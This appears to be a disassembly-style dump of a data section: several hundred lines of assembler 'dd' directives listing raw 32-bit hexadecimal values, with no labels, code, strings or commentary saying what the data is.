		dd 77CB9AA8h, 0D8DD03C1h, 87005F65h, 63756195h,	0F815285h
		dd 408FC5C3h, 2DC0E3E0h, 49386CABh, 993800B3h, 6A61D55Ah
		dd 0C6E83Ch, 5C04322Fh,	0DEBDF0A3h, 7E1D8C3Ch, 18B8516h
		dd 0B4285700h, 0E0B13A96h, 0C4F8EB27h, 265A007Fh, 0E43EDE46h
		dd 7400286Dh, 3FD076AEh, 7668BA7Bh, 99290043h, 4C58A296h
		dd 0D4092E5Eh, 69654Dh,	661E20E8h, 0EE530099h, 0B812DBBh
		dd 3E03A964h, 41D7D6EAh, 0AFAAC0B6h, 3C9F7B8Fh,	3F00D129h
		dd 0ACA55FC0h, 59551C69h, 4B0E680h, 2F3E3271h, 0B5FD1460h
		dd 3C5B00B2h, 59AE5154h, 43BB057Ch, 0C0716265h,	0FD480E1Bh
		dd 9F63DD18h, 8852E828h, 0F886C1Fh, 0C85D8827h,	84DC9340h
		dd 424AB522h, 66F918E3h, 8A549051h, 2921DEC3h, 1F3C3817h
		dd 843C21FAh, 9039A008h, 2667844Bh, 0AC421848h,	211F241Bh
		dd 0CC12226Ah, 1EF05082h, 0B0403324h, 691674A5h, 0F6D48200h
		dd 0E37322ADh, 7AAF08Dh, 1BB03CA0h, 0FA00EF1Eh,	70F66751h
		dd 1348C900h, 0F17A5209h, 2FEF0003h, 8AA6F4CEh,	0D6011C77h
		dd 44203419h, 2CD00C72h, 0A97171h, 7B60E554h, 128A110h
		dd 64BD3650h, 1A3E3B07h, 6ED0BA5Eh, 3A5477B6h, 0FC00B541h
		dd 0A11EE433h, 3600AB13h, 340F310h, 35A9863h, 37725FD4h
		dd 33F86DDEh, 0AF606F7Bh, 0D70CCB29h, 0E5730065h, 0E8E40735h
		dd 0E00E21DBh, 971F67Ah, 0CE1420CCh, 762DED56h,	13F40034h
		dd 0D812E008h, 0E701BD49h, 7BADDFA8h, 588197FAh, 0F1C53CDBh
		dd 9D2DF093h, 65F68100h, 0E5724667h, 0C82C0099h, 4DA3411h
		dd 0A903D98Eh, 57F85B7Ah, 4D700064h, 6F2445CFh,	0C3E013CEh
		dd 180A203h, 0A8C18742h, 0F04FB3h, 2D3129E1h, 738D5BBDh
		dd 0A1FFB800h, 28EC3A69h, 27A40041h, 0B2BDFDDAh, 240065A6h
		dd 0B816A20Ch, 764B15F2h, 90E70076h, 19579F67h,	271FED2Bh
		dd 77805EA9h, 0F7669EECh, 87F40099h, 54753EACh,	2F1C5DC0h
		dd 9185A713h, 0A580CFADh, 79F1639h, 0BC7689F3h,	60AA2768h
		dd 5AD0F7C1h, 0C26B404h, 0B8807A62h, 7D3263C6h,	0E03D1F7Bh
		dd 0E978C7CDh, 4A59F02Eh, 9106B564h, 989F71DCh,	45E20068h
		dd 0AC8C10C0h, 18000ADAh, 0B9FBF367h, 0BD2983h,	0AE77A4F0h
		dd 0DD658E7h, 9A000AE2h, 0A894E5D7h, 7D3D2DBEh,	731803E9h
		dd 1AC6C0A6h, 8EBB4790h, 0F400C971h, 314ABE93h,	0A54DB6h
		dd 98131ADEh, 0D638E1E5h, 5503F77Eh, 0D7B181FEh, 0D00CF39Fh
		dd 1A2FCAC5h, 304D2271h, 0A3F00881h, 0A460D0ACh, 6CF6D500h
		dd 0E425B1ABh, 0C8203062h, 4FE84610h, 38BF7E00h, 0FDE2CC03h
		dd 0BE700041h, 431D3116h, 7600E5F2h, 19BF1BECh,	4CD24F2Ah
		dd 0E100585Ah, 2D0B3D32h, 4C00319Fh, 8F79A309h,	123D356h
		dd 0DA7A10D4h, 0E0E120FFh, 1001AD8h, 0B882FB96h, 60B46D11h
		dd 3714D81Eh, 6149308h,	1886531h, 0D52B8A90h, 4BE82810h
		dd 0B4490047h, 69F646F9h, 82008B1Dh, 0C5A12EFFh, 0D36D66h
		dd 0C48C086Ch, 0A96F1BB5h, 4085D11Fh, 7513B200h, 0F59E51h
		dd 70D9E4DDh, 59BDF760h, 4500B6ECh, 33D1403Fh, 175D67Dh
		dd 898B9FECh, 0FC0FCB74h, 16003223h, 37D2888Ah,	3A6A40h
		dd 9A39471Fh, 80B13DA6h, 3B76FF00h, 0F4880809h,	227FA95h
		dd 0EACECF20h, 0D84087FEh, 59E49DECh, 0E700827Ch, 0F278EFB9h
		dd 0C1DF8Ch, 67ED73E9h,	0C0BA8AD9h, 3D070D00h, 0A515C238h
		dd 1CD47F81h, 3CBD2544h, 2D3F8600h, 311CA177h, 0B6099300h
		dd 1FF0C23Ch, 2B5800DEh, 0B23EC355h, 0FF046CE2h, 0C2083848h
		dd 9943E090h, 884C285Eh, 666838C8h, 0FC57F481h,	0E4735C5Ah
		dd 8C03E436h, 11259535h, 0DD7CB8A2h, 0A8900098h, 7A15C948h
		dd 1900D53Fh, 0DB035123h, 1E83EAAFh, 0EAE4388h,	81BF26C7h
		dd 789E936Eh, 0A6CC8080h, 0D804975Ah, 21AE009Ah, 0A7B92842h
		dd 0CF00DBF5h, 4F7F3CE9h, 58EC366h, 260E8DCBh, 19FC0014h
		dd 0F281F11Ch, 0D325400h, 82D12A5Dh, 0A2080026h, 0B2D6E59Eh
		dd 0E900F855h, 15CAF910h, 2DB73034h, 0F9C09B67h, 0B91D8338h
		dd 0C140D971h, 0F7D1FC7h, 368B80Dh, 0F35C03D2h,	32C8E217h
		dd 0B10056D1h, 33D447C2h, 32FB644h, 727BB9A1h, 50A028C4h
		dd 0DE1287C3h, 5D02BAF6h, 4290D039h, 0AE28407Eh, 731A005Bh
		dd 0C5AF9406h, 4C1EB0BCh, 0F100F0A6h, 0B881EBBh, 0A0987C09h
		dd 8DEB9Eh, 34B4F8A8h, 90C3D2C7h, 6BFA43F8h, 521325EEh
		dd 280E2188h, 64756040h, 309B2Dh, 926214EDh, 0A428A902h
		dd 0B9F1E005h, 70803E77h, 795A8A21h, 0BDE6A6h, 158C42A2h
		dd 7961EEC6h, 106B0D00h, 2D962882h, 10F060E8h, 2A3E5C02h
		dd 0F3130A0Eh, 8022AB5Bh, 28C36544h, 233F05B0h,	2BAED2Dh
		dd 84E90EECh, 0E27759C0h, 1C0066EAh, 9A6BFD15h,	87DB8Dh
		dd 4BECAB40h, 0BE6AD0C7h, 360159E8h, 20288E8Fh,	0FA47C564h
		dd 0D7D81420h, 0BD3300D3h, 1FAA0D8Ch, 800FD04h,	57CCD4A7h
		dd 0DCA4EBh, 0D3C2C39Ah, 0AF69944Bh, 32B66F00h,	456E1E90h
		dd 0BFA1077Ch, 8F714199h, 0D0BEEB27h, 6B9243Bh,	0AFBA3Ch
		dd 0C3D96125h, 7529CE0h, 7FC1219Fh, 208AF00Ch, 0A00C410h
		dd 0BC862C06h, 9008D028h, 39E60E00h, 0C9C07803h, 375679DCh
		dd 0E5FA3C01h, 0EB6AB354h, 3E0E8FD8h, 7E00AAB2h, 257AD5F1h
		dd 0D13E0ABh, 0B900CE62h, 53C3877Dh, 99110091h,	0F92D4542h
		dd 0D8008EE6h, 0FF4386D3h, 598072h, 0FD6ED753h,	33F49722h
		dd 99363D00h, 0DB5E4B3Eh
		dd 852000A4h, 0E8A0ED3Ch, 5A00FF1Bh, 681DF6ADh,	3A63579h
		dd 65DC3F2Ah, 0FDB1D7D3h, 1010804Eh, 705D8AAAh,	75D900BDh
		dd 6DA71A08h, 37000D52h, 91725BA4h, 2C844AA0h, 911EF2h
		dd 20BD7A8Fh, 240240F6h, 766DB0E9h, 9D626105h, 21C26D0h
		dd 981174B2h, 0D0809CCBh, 3A0601C6h, 0B4736E00h, 4D518B8Ch
		dd 74290089h, 1775A2EEh, 100F018h, 8499C852h, 0F7B40Ah
		dd 49DED6CDh, 7DC72DBBh, 0D1DA3Dh, 84F2904h, 0E20F11h
		dd 53E43CB1h, 0BC929307h, 2181BA00h, 0ABE166D0h, 772700DCh
		dd 5218FB6Bh, 8B0025B8h, 8445D5CDh, 8772C3h, 0F3F80A98h
		dd 5DEEDDBh, 0A9363Ch, 5688A70Fh, 5C212E60h, 1700120Ch
		dd 43FF29B7h, 1D00CD90h, 0FD38DBBAh, 0F6B4F69h,	0F0313560h
		dd 7626829Ch, 0BEE01581h, 0C80011E2h, 3CA30733h, 38089814h
		dd 1E803206h, 69375E4Dh, 0DD0046F8h, 9BC12BB6h,	262098h
		dd 88EBFB8Ch, 0A3B16D31h, 1B1C3Dh, 0F3CD4D46h, 0C27FC6h
		dd 53AE4E72h, 0B8E1E78Ah, 3F01291Eh, 1BE68B8Fh,	0AD408850h
		dd 52A3092Fh, 0B700FBC9h, 5B6605BFh, 44213800h,	5DCAD309h
		dd 0EB03005Eh, 3E8857B7h, 0CF005C3Bh, 83908CEEh, 0E3593C4h
		dd 0A85D640Ch, 0DD808BAEh, 4A34D5DAh, 12F37095h, 662367h
		dd 79929068h, 0A9009C39h, 73A4466Eh, 1FFB8F43h,	86D77D0Dh
		dd 108EFE6Dh, 0A6D31E06h, 1212ECEh, 9E129A11h, 20257E75h
		dd 0DE0086E4h, 5FEFED03h, 4D9B1Bh, 1CAF38D6h, 90548D87h
		dd 0D5E24500h, 23364F0Bh, 583F008Fh, 0D9834662h, 0E70305EDh
		dd 0A060BE26h, 771FB870h, 50E824BCh, 88B80154h,	7F7E18h
		dd 726142h, 10584CE2h, 0B975EA85h, 6135D526h, 7F322A00h
		dd 8BD884h, 0EF165495h,	1A9BBFCAh, 493ACD00h, 4BF6BDE7h
		dd 89A00414h, 90D6856Fh, 0FD2E3654h, 39B34884h,	0AD603F30h
		dd 2900726Ch, 0E3E1A1C0h, 62FBC8h, 0F21EC9Eh, 65EA898Dh
		dd 667EACA0h, 83944554h, 40789D02h, 32B17Ch, 0A321ADA9h
		dd 5DF9080Fh, 5045C2FDh, 0F0C8C0A5h, 0C1C41EA1h, 81B50036h
		dd 6B31B43Ch, 7A01E67Ch, 644E8C07h, 0C3C4B238h,	8F16051h
		dd 29E4BAC2h, 42235A01h, 9B0FC48h, 0C01CC3FBh, 766B0252h
		dd 97100032h, 0E6FE4C2Eh, 8C1CF7F2h, 0B180B512h, 564EC11Eh
		dd 0E1A805CCh, 41DFD4D9h, 5F63E88h, 4CDC23E5h, 0CA1600CFh
		dd 0BFB3A179h, 2880028h, 0F873A6F4h, 3026486h, 9A58A48Ch
		dd 2EF18007h, 7563430h,	1C09B75h, 0EB71724Eh, 0A413EC48h
		dd 7303677Ch, 0AE12E590h, 0A347B2A0h, 0C83EE6A0h, 90C8C0D7h
		dd 0C4FD03A4h, 63BE210Ch, 0E698A4D0h, 355A9000h, 0D8EFF644h
		dd 2B680026h, 75DCB596h, 3304044Eh, 71A53E17h, 0D83CE980h
		dd 17C9FA30h, 97251Ch, 2AFFD00Dh, 453DE73Eh, 0EDF680E9h
		dd 714F86F1h, 4AE400B0h, 0C45E0B75h, 940958DBh,	819AEE64h
		dd 82992974h, 8C37DCh, 0CD704F08h, 8D5BB328h, 5DC8FF1Fh
		dd 85E21B43h, 499F90ECh, 4DCD7FF9h, 414C78D5h, 0AB3FB200h
		dd 48CA8718h, 7A8D1C12h, 0E08B240Eh, 5BDBE135h,	1E817B15h
		dd 7C7C2046h, 983B0707h, 99F3051h, 6F004AF5h, 0CE45BC0Ch
		dd 59226F1h, 214C9336h,	0C944805Dh, 0E52C82A0h,	51C3841h
		dd 0A8009113h, 0B9C76ABFh, 2F220F76h, 48E05EBEh, 810FD83Fh
		dd 63BF4600h, 0E8340C9Ch, 892E0353h, 52C24403h,	0B5C710B0h
		dd 6A83C800h, 0EB5C7CE1h, 0EF500186h, 8BDA3CC9h, 0C2C8806Fh
		dd 7824EDC0h, 0BB643D72h, 0C7A8B40Ah, 0C51B04E8h, 8F2D4029h
		dd 0E4367197h, 0DA993C92h, 131E5000h, 95BACDDCh, 654E6100h
		dd 23CB740Bh, 64510058h, 1490F837h, 0B0009578h,	7032B5ACh
		dd 0B8A90Ch, 659FAB60h,	371B514Bh, 0F057900h, 32A2E813h
		dd 58C70036h, 4221E5EFh, 0C830E944h, 27346C81h,	2530743h
		dd 0E0EA7DD7h, 91AF0358h, 0C171CE12h, 0B415C00h, 0E379640Dh
		dd 0F5782FCh, 0A862F6FCh, 54ACC73Ch, 0AFB5906Dh, 0FF70B29Ch
		dd 80BF113Ch, 0DA09741Fh, 0C5012Bh, 665F6733h, 0DDB9B6AAh
		dd 8561F000h, 0F418B1AFh, 0C786A0A8h, 6294013Bh, 0EB67C215h
		dd 7059C9DCh, 0E500220Ch, 746EB590h, 7F89B1h, 37077BFCh
		dd 0CE0BB614h, 0D9A00EF0h, 9971CC29h, 0D7AC3D00h, 1E4F5875h
		dd 423000FAh, 0DC709FDh, 0E5007D7Ch, 399FD8A2h,	50775CDAh
		dd 36FE086h, 5AE4795Bh,	0E802EAFh, 0E6E28F02h, 706DF0Ah
		dd 5604F473h, 0DC902674h, 175CE29Ch, 8C4B41h, 0AA3FE095h
		dd 60BACB95h, 2100567Dh, 0BECD9EF7h, 1D43D516h,	81899088h
		dd 0F4F9E4DEh, 505FCCB5h, 1D7F2E00h, 0F814866Dh, 0BEA91D31h
		dd 9F810077h, 9062304Fh, 24712800h, 7F2383A2h, 0B8A50089h
		dd 9BB901EFh, 5D00756Fh, 57F07788h, 14A89303h, 0E4C50E6Dh
		dd 25BF017Dh, 53FD3580h, 3370FC5Eh, 79447F3Ch, 716D6714h
		dd 6FAC07F0h, 83FBEFFCh, 0A83BA804h, 37BEF5h, 96A3F94Ch
		dd 8F55826Bh, 0E4DE0128h, 0AA326910h, 0B9455081h, 0DBEBE0E3h
		dd 3CD97400h, 6A727735h, 0B5D7007Ch, 0DF31B0F3h, 0F112EE58h
		dd 550B0D34h, 9CE003BBh, 32FDF1D3h, 90959DCh, 79F3AF9Bh
		dd 5B30B020h, 0D0C1C750h, 46AD32FFh, 0B4AC31FDh, 6F42FD1h
		dd 0BCCC9202h, 0C1D0A082h, 0F178A38h, 3C30EB78h, 87C634A4h
		dd 6F9380C5h, 3218DD96h, 62591644h, 0AADE0077h,	0D794B675h
		dd 173EF4E5h, 660A803Ah, 0A4EF2328h, 0DDDC03DAh, 0B352D67Fh
		dd 392AAFE8h, 5D33B2F4h, 0C0F368D5h, 39F2DACh, 0B55813CBh
		dd 90A08255h, 0B962BD99h, 4224EFA1h, 0F70C4051h, 26AB0298h
		dd 2D6CE7Fh, 95706840h,	7321D767h, 426080FBh, 94EDDE4h
		dd 0DA570721h, 0F7BF3400h, 87005E43h, 7839B784h, 5D5D252Dh
		dd 1D00988Dh, 930C59F7h, 0F604243Ch, 36CE3BBEh,	0A623A380h
		dd 49460060h, 7F31672Ch, 0BE07B190h, 91E90EA3h,	0BB865E20h
		dd 7AF700D2h, 448A251Eh, 66FC06CAh, 8B003175h, 8F2036Ch
		dd 0AA14C29h, 531609ACh, 3CBF00E0h, 4DF17AC8h, 9520E7E6h
		dd 0B76502C3h, 751D9B08h, 8CBE2060h, 4C96191Eh,	0F8BFE607h
		dd 0D3C11137h, 4860B749h, 1CB200B1h, 237C3C04h,	0C700B8E0h
		dd 554FBB2Ch, 4826BADEh, 0B10048E3h, 0F4154DB4h, 3E00B363h
		dd 8625CAA6h, 44F32Fh, 0CB83B043h, 0C5F67FDFh, 5800ECECh
		dd 6B6489A6h, 4893AC44h, 690194F5h, 28293E3Ah, 0A6F1C0DEh
		dd 70388400h, 2BCA64E3h, 0F48200AEh, 0F88B85E0h, 0AD7E2599h
		dd 4D177E05h, 0F0006F20h, 31B332FEh, 0C6E1484Ah, 4E95BB07h
		dd 88EEB063h, 5F120D7Ch, 0FA0FC6A0h, 4330EF27h,	0B554D5CDh
		dd 8B779440h, 0BF6158h,	1E5EA366h, 4F7B148Eh, 6E092300h
		dd 0E2080701h, 0ADD0027h, 5E583BABh, 0B4076AD9h, 534F5968h
		dd 0ED54C7A0h, 793200E0h, 75FD943Dh, 0DCB89366h, 1B5DF201h
		dd 55484C3Fh, 0B1AA3089h, 0CED100A0h, 0F42C4BFBh, 58016489h
		dd 5A7FAD2Fh, 0AA23C0E6h, 2795071Dh, 0E0C391C5h, 0A2BFB62h
		dd 9E2AC200h, 88C6FA30h, 0CB37F809h, 3182D828h,	10E0A4EBh
		dd 0F1005CD1h, 31B25A68h, 7647C6C7h, 4DA0AFFh, 0BC91C9h
		dd 0DFC220C0h, 0FE00B8ECh, 83381B7Ah, 5CA0B93Ah, 39019276h
		dd 0CABB4279h, 46688026h, 0F3B70D13h, 3A43018Bh, 0A2409CA7h
		dd 6485CC1Ah, 0CAD63F01h, 25D45E0Eh, 1E042EFCh,	0A3EF63h
		dd 0E1221411h, 5F07D75Ch, 4DB31C24h, 0EEA9C931h, 0EDA55C4h
		dd 45AB4D6h, 6EBC3DC0h
		dd 1A70CC48h, 41EF8C07h, 80ABE143h, 22966B3Fh, 518413FFh
		dd 953D0C17h, 0EE006110h, 2569941Fh, 7FE78E75h,	0D6930050h
		dd 23667216h, 0D49A3FF1h, 0C777D900h, 4CF7EA51h, 2E54B2A8h
		dd 0CCC9E4h, 5A31A2EDh,	921C1DFCh, 8FC019CBh, 0F1873F6Fh
		dd 0A4758Bh, 0FD77687Eh, 23010C9h, 263C6638h, 8001F14h
		dd 0F4289C3Bh, 0C7230BBEh, 0A48727F5h, 211EB31Bh, 5A518BE0h
		dd 7A584A00h, 0E7102A6Bh, 2EB335EAh, 0D5500098h, 274C660Bh
		dd 0C0A87E4Fh, 0E3F39D00h, 0C573F21Dh, 0AC2A8901h, 82FAA249h
		dd 5130B1D1h, 0B52E1F9Dh, 1FAF0E15h, 64316CE0h,	6B00C763h
		dd 0FD8FA469h, 0E3C2EFEh, 32D8791Dh, 0FA3AB7C0h, 4B3CEF15h
		dd 0AEDC9DEBh, 4045120Fh, 0CD97CB71h, 23500010h, 1D41DB54h
		dd 0AA01B3C1h, 0E1569506h, 0DCEC78C2h, 132F01B6h, 907117F5h
		dd 0BAF7C045h, 37BFF90Bh, 0F2FD8E7Dh, 1486C00h,	2CAF60h
		dd 55AE4FF0h, 9E869746h, 979D4439h, 0B4007D70h,	0AD15A80Ch
		dd 2F260050h, 0D6D0DAB4h, 0BA0F3EDFh, 1D4CDDh, 0A8950146h
		dd 0A4C54856h, 0C3C9A200h, 63EDBFAEh, 4E9F0F03h, 0C1DABC06h
		dd 0BBFCC011h, 42B50E75h, 9EE06D4Bh, 86B26319h,	8A00BF70h
		dd 0D77620CCh, 0E30281h, 34DBDFC0h, 78D83A94h, 82E251ECh
		dd 877EED3Ch, 0AEAF6569h, 9FDE24A0h, 0F0450052h, 3B6E79Ah
		dd 2CF2B38Eh, 26DB0F30h, 2438D390h, 18D40C8h, 7DA14BEEh
		dd 2A0C303Dh, 0A02B2C00h, 24297E43h, 0AB970D25h, 0E421F736h
		dd 7A00A54Bh, 3090A4FAh, 0C3C6CDC0h, 36E86FF0h,	972884F0h
		dd 0E440F44Eh, 179BF1CCh, 87B62C0Dh, 569E009Ch,	1A40341Bh
		dd 8805B102h, 4898392Dh, 0C7D154h, 0B69B0E16h, 0D9FE0167h
		dd 39E05939h, 3AE780A5h, 0BCCD78ACh, 0AFE5006Ah, 0DF730BCCh
		dd 1700890Fh, 4BE0A8A0h, 35925Eh, 71DA54EBh, 335B10E8h
		dd 12B23900h, 8A5E7A23h, 9EB90183h, 0ABEBA45h, 7177F4F3h
		dd 0E59FCC00h, 0C8D36094h, 6D6A00D2h, 2EE43410h, 0D5022009h
		dd 46866336h, 0C6C0777Bh, 5F1365D9h, 6E0E31B4h,	4B001780h
		dd 0C0602D25h, 42CF0035h, 6D7ADB46h, 0DC004C70h, 16C48751h
		dd 7A76D766h, 0C11C586Fh, 9201CF3Ch, 29122F03h,	91C024C2h
		dd 0B439BB00h, 925AA609h, 276C00A7h, 7CA938B3h,	5D01A175h
		dd 6B8085ECh, 0B870CBF0h, 0CFA5004Fh, 5BCA10C4h, 0B9007CD0h
		dd 7A766FAAh, 0B06D7543h, 29151CA4h, 4889C086h,	6C45AACh
		dd 6E565D00h, 1EAF4A30h, 63690188h, 74A5D610h, 287BD281h
		dd 1FAA8A81h, 0DCDC4F54h, 88E8001Eh, 4427C519h,	730160CBh
		dd 25B3D4E2h, 2FCC9BA8h, 247A0036h, 99111F61h, 390063DBh
		dd 9B509C8Ch, 527C468h,	87845CF9h, 1275C017h, 0DAF2DD24h
		dd 4ED58001h, 3C312C3Dh, 8D1DE8h, 2AE59818h, 0D1101C1Fh
		dd 6D7BFC00h, 21192340h, 7D7898F6h, 376000CFh, 0D717D36Bh
		dd 400BEFCh, 8B3896C0h,	3B2150AEh, 0A380E252h, 346E07B2h
		dd 2000D778h, 3DBBCEF7h, 73CA715h, 0C3FEA99Ch, 0B442F090h
		dd 99001D33h, 922F39E1h, 0DB6D07h, 4B689789h, 62B3524Eh
		dd 0F4EADF01h, 0B517DD05h, 0A2E30h, 747016B6h, 916CA521h
		dd 203DF4CFh, 2DF873Ah,	0DBB500F4h, 5971AEBFh, 0E31232B6h
		dd 0B4008A74h, 7E26987h, 2C431794h, 0B05820C4h,	0AB382AFCh
		dd 260CBC31h, 0B500108Dh, 0FF983392h, 485A78h, 5A2637ACh
		dd 88008B6Bh, 41F8B1AFh, 0BA850894h, 0B5E648h, 0D8FE839Bh
		dd 1F271AC6h, 0A903B006h, 0C0202848h, 0C8E10288h, 277156E7h
		dd 28F043Ah, 0ABBB0393h, 992484BEh, 4BC6C803h, 1FA03883h
		dd 0AD982B06h, 82DF660Ch, 0EEF9508Fh, 65AC2C27h, 0F1E93011h
		dd 0D0000399h, 1A7C96FFh, 31F51E7Fh, 42219AC6h,	1AFDF33h
		dd 40C1F25Fh, 66FF0A0Ch, 1C2FE58h, 231781BEh, 80F60BC3h
		dd 8EBC5F70h, 75F60Dh, 21C4FD0Ch, 0BAA3CEC7h, 3589B412h
		dd 42E38C00h, 0EFD2D9h,	7EEBF661h, 0C7AC1608h, 0C0395F00h
		dd 4AC5691Fh, 0A1EE52h,	7E4D0750h, 0A880BA3h, 0B1EFFC01h
		dd 70B33EC3h, 0C280F4h,	0F9F29964h, 0EF89334Fh,	0DDB81A00h
		dd 7B58DCC1h, 0ABAF007Eh, 73FEDA0Dh, 0E51FB7A2h, 5A00C5BCh
		dd 1227C6B4h, 0B62A00D5h, 8A3BA522h, 0FA058C0Ah, 885D601Eh
		dd 8B00A412h, 9EFFBEADh, 0ED7C3Bh, 2FD117A3h, 533388C4h
		dd 82214800h, 2CBA5538h, 259D0EB8h, 0EFA0A647h,	7631C5FDh
		dd 0A3709B1Eh, 0BE736200h, 987CF0h, 5ECB52E6h, 0ECC301B0h
		dd 926C4300h, 46C6C4D5h, 28B9006Dh, 0CC2B6A17h,	0E51CBD13h
		dd 0C4809DB2h, 0C7261EF5h, 5850E432h, 850052B4h, 1A8E7840h
		dd 407D2A4h, 684F0FB2h,	95CC4B63h, 4C2D44Ah, 2E00DE55h
		dd 9246DC47h, 0A7A2E1D3h, 0FA07838h, 0DA000CB4h, 0C5F95B65h
		dd 7EC6E699h, 131F075Dh, 61848A80h, 0FCAA71A7h,	3062EEDFh
		dd 22C32D29h, 3B22932Bh, 4A212272h, 2210124h, 74EF117Ch
		dd 1238A411h, 85641015h, 0CB08E389h, 84496D44h,	778E9D0Eh
		dd 4297C87Dh, 3D24361Bh, 1195F621h, 8111752Bh, 0A6911274h
		dd 0ED298B64h, 23536441h, 1C216512h, 0BAC43F4Dh, 1A2B009Ch
		dd 4A400630h, 2D00D59Dh, 3AEBF71Dh, 30311E38h, 0E5262866h
		dd 0CB01EC18h, 2E7F58CFh, 0ACE80FDEh, 0B22301C1h, 85405220h
		dd 455AC89Fh, 2C7A1439h, 0D20051F6h, 0FE950906h, 0B18C0096h
		dd 9E798988h, 0C50E981Bh, 0A0E69B7Ch, 54FFA46Dh, 854A3D53h
		dd 6C04C080h, 77ECE4F9h, 132DD01Ch, 0F752C487h,	483902E2h
		dd 0EBE7E04h, 0E0C7F4E3h, 24D1EDA0h, 0B505934Bh, 0CD8B832Bh
		dd 0C0B3F903h, 0EDDCE811h, 0B80E00A8h, 0FF3E867Ch, 9274888Dh
		dd 6458A61Eh, 0C0F6AF80h, 0C071BAA4h, 99BF7860h, 29008504h
		dd 0BEA1DFA3h, 3DC9A2B2h, 0E18386Eh, 44978A6h, 0E585C100h
		dd 0BD10DE3Bh, 140766Ah, 66B3C4CAh, 700B2725h, 0D200B7F5h
		dd 0CC5A999h, 0FA76EF3h, 66E00776h, 8114F5A0h, 11000BF4h
		dd 0D8CB8D5Bh, 75A490F8h, 1B681DFAh, 0DA5AC050h, 0ED992CABh
		dd 9CA98501h, 264B89BAh, 7DCE198Eh, 5004D820h, 4600111Eh
		dd 0F5444768h, 0B9F39h,	3DCA40B5h, 832E8551h, 8C412306h
		dd 396A8603h, 7F006D6Eh, 9BD0EF19h, 18000143h, 9239C027h
		dd 15B6465h, 0BE999598h, 606CBB14h, 700134F4h, 0D6FB75A1h
		dd 0D021C41Eh, 0FF8E89E4h, 6467F0E7h, 8FF63Dh, 786A106Dh
		dd 81C83847h, 2D607E00h, 62BFE70Bh, 0FE2CFC20h,	8F9D3C63h
		dd 0F1C53D00h, 0A6F05588h, 34581B24h, 56E4C300h, 0F8B6045h
		dd 48183773h, 0FBEC6120h, 0C9008D77h, 0D6F55228h, 8BC39Fh
		dd 2B79EBBEh, 0AE3C8374h, 0C2B53200h, 910D0385h, 147801FDh
		dd 90638A02h, 6F19702Eh, 1807C57Dh, 4B57E84Fh, 0BB093690h
		dd 6B5F05D1h, 0A5B34Ah,	81908CFCh, 58C08456h, 8F2B31A9h
		dd 108860B4h, 0DF8C7B4Bh, 0A648F470h, 3D310244h, 4088B241h
		dd 0A44D6Ch, 5438634h, 0BE2DEF21h, 12C4200h, 0E3F7324Fh
		dd 46EE24A2h, 0FFA60004h, 0E0B0976h, 5497A09h, 0A884A014h
		dd 7112D30h, 69D2D041h,	0F6FE6021h, 0E37259C4h,	0E886D00h
		dd 58AD3864h, 678C00D6h, 0EE5B770Ch, 94077804h,	0C469F7E9h
		dd 0DF102F97h, 77FFC3h,	0DBA1D3E0h, 6F5E31BEh, 0E57A9607h
		dd 52712908h, 84C0D430h, 0B3EF0A82h, 0C38016h, 32623F73h
		dd 42005172h, 9E0CDE26h, 1FE77A70h, 0C0CB2B98h,	78168BE8h
		dd 0EFFA3B13h, 0FA6F4800h
		dd 503A0496h, 0EA5C0E2Ch, 0C64761A9h, 0E57750D9h, 0C12D035h
		dd 0FC00BB12h, 0B6F532DFh, 0D67300E7h, 202F4426h, 770092F3h
		dd 0B9A77BE1h, 0F83E695h, 1957D564h, 81FD3EE0h,	560FDB51h
		dd 60391F54h, 0BD714A3Fh, 0ACD1004Fh, 7CC6B3A8h, 0BE0222A9h
		dd 0B46989AEh, 0D40061CBh, 2F8CE0h, 7C44ADBBh, 54CC0541h
		dd 0E3F5950Eh, 45D044Eh, 0AA5BF880h, 718E0098h,	20312EE2h
		dd 97EDF2h, 28CD5689h, 275188Ch, 885518E6h, 0AFC9E902h
		dd 80095EBAh, 23087CC8h, 11E447h, 2885499Fh, 1D8BC2F8h
		dd 11CE348h, 21E4794Ch,	88305410h, 74E0209Eh, 0D38E4F00h
		dd 3EB3DC50h, 0E972EDh,	8DA941EEh, 77624291h, 940349h
		dd 0F0EAFAB7h, 0F1DB0h,	0A4CF3F81h, 0E1DCA38Eh,	0FC620500h
		dd 2D77EA22h, 4EBD0C5Fh, 0A9700ED5h, 6723820h, 7C03A342h
		dd 630028D0h, 0BEC68EB3h, 721A3CD1h, 0A21D3DE3h, 0DB97F780h
		dd 0E131DAB8h, 88617C03h, 3E0C100Bh, 421EB938h,	6A6D397h
		dd 61BA65C0h, 0B276950Bh, 0BB2CA67Bh, 56AF0059h, 86CE8C22h
		dd 71758AAAh, 6C76E626h, 0A089410Fh, 6D15E3A6h,	99480006h
		dd 0A0EFDFC8h, 0E57169B3h, 13D02400h, 443B8658h, 5FC000FAh
		dd 8EA53853h, 0BD02409Eh, 0D69735E7h, 8DE44081h, 9020EDADh
		dd 27DDFBA6h, 2F849040h, 564D0024h, 785C7543h, 4A001286h
		dd 9A32AC6Ah, 980E201Fh, 0ECD4A095h, 4082482Bh,	0D8E5800h
		dd 3E73023Fh, 1BB0E405h, 16C03BC6h, 1D226B8h, 8D12BD16h
		dd 0FC315285h, 700D424h, 404F826Ch, 7A3D9D1h, 0A97A42B6h
		dd 0FECE1078h, 0C95069C0h, 961C32ECh, 9E899A0Ah, 0BA98803Bh
		dd 3CBAFh, 0A77D94A2h, 0A39B386h, 0B61BF907h, 0AF54B56Fh
		dd 3E0468C0h, 836D009Eh, 47AB791Dh, 3370E485h, 4D5FFF1Eh
		dd 0D8009D16h, 9631B846h, 659A00F2h, 177FDC22h,	97397445h
		dd 76D800BDh, 6AF4EB21h, 0A6AC0E07h, 0CF8011E1h, 905D7064h
		dd 0BC1A4F00h, 0B0C0A148h, 94BB005Ah, 286DC52Ch, 0F9000803h
		dd 0B44FCBEEh, 14899DFEh, 88888AE1h, 8EC6D100h,	3503A1C8h
		dd 4800E973h, 0A445648Ch, 0F7B55Eh, 1A49AE41h, 926D6684h
		dd 26B90D00h, 52279BF2h, 0F9610459h, 0ACFA748Dh, 6DC700B4h
		dd 0DA905A8Ah, 0AC030747h, 62178112h, 38E00A7Fh, 4E7CCF5Eh
		dd 521F2B00h, 0EB7768A1h, 117C0089h, 6E673C39h,	99029AE5h
		dd 0A957ACA7h, 0EE3840F6h, 5C584893h, 0F330E383h, 8176183Fh
		dd 0CAD907D7h, 0A2E8CD95h, 0E2580187h, 0D45360FFh, 0E51F8BCh
		dd 0D8EA3D03h, 0E8ECF369h, 501B598Eh, 0B8C2F4E5h, 0D68C0005h
